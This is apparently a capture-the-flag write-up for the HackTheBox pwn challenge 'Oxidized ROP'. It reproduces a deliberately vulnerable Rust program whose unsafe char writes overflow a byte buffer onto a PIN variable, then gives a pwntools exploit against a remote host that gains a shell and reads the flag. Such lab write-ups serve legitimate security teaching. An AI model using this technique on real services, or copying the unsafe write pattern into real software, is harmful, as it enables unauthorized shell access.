Oxidized ROP

1) Checked security

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Oxidized ROP/pwn_oxidized_rop]
└─$ checksec oxidized-rop
[*] '/home/vigneswar/Pwn/Oxidized ROP/pwn_oxidized_rop/oxidized-rop'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

2) Checked the code

```
use std::io::{self, Write};

const INPUT_SIZE: usize = 200;
const PIN_ENTRY_ENABLED: bool = false;

struct Feedback {
    statement: [u8; INPUT_SIZE],
    submitted: bool,
}

enum MenuOption {
    Survey,
    ConfigPanel,
    Exit,
}

impl MenuOption {
    fn from_int(n: u32) -> Option<MenuOption> {
        match n {
            1 => Some(MenuOption::Survey),
            2 => Some(MenuOption::ConfigPanel),
            3 => Some(MenuOption::Exit),
            _ => None,
        }
    }
}

fn print_banner() {
    println!
("--------------------------------------------------------------------------");
    println!("  ______   _______ _____ _____ _____________ _____    _____
____  _____  ");
    println!(" /  __ \\ \\ / /_   _|  __ \\_   _|___  /  ____|  __ \\  |  __ \
\ /  __ \\|  __ \\ ");
    println!("| |  | \\ V /  | | | |  | || |    / /| |__  | |  | | | |__) | |
| | |__) |");
    println!("| |  | |> <   | | | |  | || |   / / |  __| | |  | | |  _  /| |  |
|  ___/ ");
```

```
    println!("| |__| / . \\ _| |_| |__| || |_ / /__| |____| |__| | | | \\ \\| |
__| | |     ");
    println!(" \\____/_/ \\_\\_____|_____/_____/_____|______|_____/  |_|  \\_\\
\\____/|_|     ");
    println!
("                                                                          ");
    println!("Rapid Oxidization Protection ------------------------------ by
christoss");
}

fn save_data(dest: &mut [u8], src: &String) {
    if src.chars().count() > INPUT_SIZE {
        println!("Oups, something went wrong... Please try again later.");
        std::process::exit(1);
    }

    let mut dest_ptr = dest.as_mut_ptr() as *mut char;
    unsafe {
        for c in src.chars() {
            dest_ptr.write(c);
            dest_ptr = dest_ptr.offset(1);
        }
    }
}

fn read_user_input() -> String {
    let mut s: String = String::new();
    io::stdin().read_line(&mut s).unwrap();
    s.trim_end_matches("\n").to_string()
}

fn get_option() -> Option<MenuOption> {
    let mut input = String::new();
    io::stdin().read_line(&mut input).unwrap();

    MenuOption::from_int(input.trim().parse().expect("Invalid Option"))
}

fn present_survey(feedback: &mut Feedback) {
    if feedback.submitted {
        println!("Survey with this ID already exists.");
        return;
    }

    println!("\n\nHello, our workshop is experiencing rapid oxidization. As we
value health and");
    println!("safety at the workspace above all we hired a ROP (Rapid
Oxidization Protection)  ");
    println!("service to ensure the structural safety of the workshop. They
would like a quick ");
    println!("statement about the state of the workshop by each member of the
team. This is    ");
    println!("completely confidential. Each response will be associated with a
random number   ");
    println!("in no way related to
you.                                                \n");

    print!("Statement (max 200 characters): ");
    io::stdout().flush().unwrap();
```

```
    let input_buffer = read_user_input();
    save_data(&mut feedback.statement, &input_buffer);

    println!("\n{}", "-".repeat(74));

    println!("Thanks for your statement! We will try to resolve the issues
ASAP!\nPlease now exit the program.");

    println!("{}", "-".repeat(74));

    feedback.submitted = true;
}

fn present_config_panel(pin: &u32) {
    use std::process::{self, Stdio};

    // the pin strength isn't important since pin input is disabled
    if *pin != 123456 {
        println!("Invalid Pin. This incident will be reported.");
        return;
    }

    process::Command::new("/bin/sh")
        .stdin(Stdio::inherit())
        .stdout(Stdio::inherit())
        .output()
        .unwrap();
}

fn print_menu() {
    println!("\n\nWelcome to the Rapid Oxidization Protection Survey
Portal!                  ");
    println!("(If you have been sent by someone to complete the survey, select
option 1)\n");
    println!("1. Complete Survey");
    println!("2. Config Panel");
    println!("3. Exit");
    print!("Selection: ");
    io::stdout().flush().unwrap();
}

fn main() {
    print_banner();

    let mut feedback = Feedback {
        statement: [0_u8; INPUT_SIZE],
        submitted: false,
    };
    let mut login_pin: u32 = 0x11223344;

    loop {
        print_menu();
        match get_option().expect("Invalid Option") {
            MenuOption::Survey => present_survey(&mut feedback),
            MenuOption::ConfigPanel => {
                if PIN_ENTRY_ENABLED {
                    let mut input = String::new();
                    print!("Enter configuration PIN: ");
                    io::stdout().flush().unwrap();
```

```
                    io::stdin().read_line(&mut input).unwrap();
                    login_pin = input.parse().expect("Invalid Pin");
                } else {
                    println!("\nConfig panel login has been disabled by the
administrator.");
                }

                present_config_panel(&login_pin);
            }
            MenuOption::Exit => break,
        }
    }
}
```

3) Note:
i) There is a overflow in save_data using which we can chaange value of login_pin to 123456
ii) hex of 123456 is 0x1E240

4) Exploit:

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./oxidized-rop")
context.binary = exe

# io = gdb.debug(exe.path, '')
io = remote('94.237.62.149', 32688)
io.sendlineafter(b': ', b'1')
io.sendlineafter(b': ', '\U0001E240'*200)
io.sendlineafter(b': ', b'2')


io.interactive()
```

5) Flag

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Oxidized ROP/pwn_oxidized_rop]
└─$ python3 solve.py
/home/vigneswar/Pwn/Oxidized ROP/pwn_oxidized_rop/solve.py:13: BytesWarning: Text is not bytes; assuming UTF-8, no guarantees. See https://docs.pwntools.com
/#bytes
  io.sendlineafter(b': ', '\U0001E240'*200)

Config panel login has been disabled by the administrator.
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
oxidized-rop
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
HTB{7h3_0r4n63_cr4b_15_74k1n6_0v3r!}
$
```